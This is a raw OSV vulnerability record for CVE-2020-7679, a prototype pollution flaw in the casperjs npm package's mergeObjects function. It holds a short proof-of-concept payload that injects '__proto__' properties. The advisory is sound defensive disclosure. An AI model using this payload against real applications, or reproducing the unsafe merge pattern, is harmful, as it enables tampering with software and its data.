原始 OSV JSON
{
"id": "GHSA-vrr3-5r3v-7xfw",
"aliases": [
"CVE-2020-7679"
],
"details": "### Overview\ncasperjs is a navigation scripting & testing utility for PhantomJS and SlimerJS.\n\nAffected versions of this package are vulnerable to Prototype Pollution via the mergeObjects utility function.\n\n### PoC\n```js\nvar payload = JSON.parse('{\"__proto__\": {\"a\": \"pwned\"}}');\nmergeObjects({}, payload);\nconsole.log({}.a); // prints \"pwned\"\n```",
"summary": "Improperly Controlled Modification of Dynamically-Determined Object Attributes in casperjs",
"affected": [
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.1.4"
}
]
}
],
"package": {
"name": "casperjs",
"ecosystem": "npm"
}
}
],
"modified": "2023-09-13T19:52:14Z",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
}
],
"published": "2021-05-17T21:00:52Z",
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7679",
"type": "ADVISORY"
},
{
"url": "https://github.com/casperjs/casperjs",
"type": "PACKAGE"
},
{
"url": "https://github.com/casperjs/casperjs/blob/master/modules/utils.js%23L680",
"type": "WEB"
},
{
"url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-572804",
"type": "WEB"
},
{
"url": "https://snyk.io/vuln/SNYK-JS-CASPERJS-572803",
"type": "WEB"
}
],
"schema_version": "1.4.0",
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-915"
],
"severity": "HIGH",
"github_reviewed": true,
"nvd_published_at": "2020-06-19T11:15:00Z",
"github_reviewed_at": "2021-05-11T22:26:54Z"
}
}